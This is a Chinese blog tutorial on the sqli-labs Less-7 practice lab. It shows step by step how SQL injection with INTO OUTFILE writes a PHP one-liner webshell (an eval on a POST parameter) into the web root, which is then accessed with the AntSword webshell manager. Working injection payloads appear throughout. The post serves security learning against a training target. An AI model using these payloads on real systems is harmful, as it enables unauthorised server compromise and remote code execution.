当前位置: 首页 > news >正文

SQL注入之上传getshell(sqli-labs/less7)

sqli-labs访问时遇到的问题

有时候会出现如下情况,是php高版本不兼容这个函数,勾选成成老版本的php就好了

image

SQL注入中上传getshell

(不咋会利用SQL注入上传shell,这边用sqli-labs/less-7练习以及学习)

参考文章:https://mp.weixin.qq.com/s/1D0qxqU8_yIn_59PK-n3AQ
https://blog.csdn.net/m0_46315342/article/details/106557552

先正常找到注入点

发现盲注成功

image

利用order by查看列数

order by 3 提示You are in...use outfile...(正确的显示)

order by 4 提示You have an error in your SQL(错误的显示)

说明列数为3
image

image

尝试再爆个显示位

发现没有回显

image

这边就可以尝试利用sql注入来写入getshell

但是我们现在还不知道路径,可以先爆个路径出来(由于less7是没有回显的)可以利用前面的关卡爆一个,我这边用less1来爆一个)

image

这边已经利用order by知道列数为3,利用datadir爆出数据库路径

?id=-1' union select 1,2,@@datadir --+

image

datadir爆出的是数据库所在位置,网站一般被存放在www文件下

所以可以推测出sqli-labs网站所在路径为

C:/phpstudy_pro/WWW

想要写入Getshell,先测试一下是否具有读写权限

?id=-1' union select 1,2,@@secure_file_priv--+

爆出来发现secure_file_priv值为空,也就是可以写入

image

也可以测试一下是否有读取权限(可选)

?id=-1' or (select count(*) from mysql.user)>0 --+ 

正常返回也就是有读写权限

image

继续回到less7,先写入点东西测试一下

?id=1')) union select 1,2,3 into outfile "C:/phpstudy_pro/WWW/a.txt" --+补充:C:/phpstudy_pro/WWW/a.txt中的/是所有系统支持的
也可以用\,这个\符号是Windows系统支持的,不过这边写入的时候用\要用反斜杠来防止系统当作转义符处理
例:C:\\phpstudy_pro\\WWW\\a.txt

image

虽然显示有错误,但是访问发现写入成功

image

尝试写入一句话木马

?id=1')) union select 1,2,"<?php @Eval($_POST[cmd])?>" into outfile "C:/phpstudy_pro/WWW/a.php" --+

image

访问发现没有写入的php,由于php属于后端语言,前端没法查看,直接在靶场后端查看一下,发现已经上传成功

image

然后利用webshell管理器工具连接(我这边用的是蚁剑)

image

image

http://www.jsqmd.com/news/41398/

相关文章:

  • 高级语言程序设计第五次 作业
  • 思考题:矩阵拆分行列式
  • 未知与已知---思考学习进度
  • Flash AS3 ComboBox组合框点击下拉报错并且无法弹出列表
  • 思考题:一类sum转delta的贡献处理方式
  • KEYDIY KD ZB07-5 5-Button Universal Smart Remote Key 5pcs – Keyless Entry for European/American Cars
  • 20234320 2025-2026-1 《网络与系统攻防技术》实验五实验报告
  • Legendre公式
  • 字的bi-gram是个馊主意么?
  • 在Caddy 上使用php-fpm
  • KEYDIY KD ZB09 3-Button Universal Audi Smart Key PCB (5pcs/lot) - For Repair Shops Owners
  • 2025年浙江雅思培训机构评测TOP5:深耕本土的优质教育资源推荐
  • 动态调试练习题WP
  • Godot学习第一天
  • 用递归的方式解决n阶幻方
  • imm docker 备份/迁移
  • abc326-d 题解
  • 搭建一个CTF比赛平台的经过
  • 11_15
  • 四、Agent原理与ReAct 架构详解 ——《动手学Agent应用开发》学习心得
  • InterStellar
  • 三、Agent 应用开发与落地全景 ——《动手学Agent应用开发》学习心得
  • 每日反思(2025_11_15)
  • 业财一体化五步法 - 智慧园区
  • 猫树
  • 『回忆录』高二上半期考试
  • 多项式牛顿迭代
  • 轮胎内喷涂优惠工具趋势分析报告
  • Vibe coding All In One
  • 路径计数与反射容斥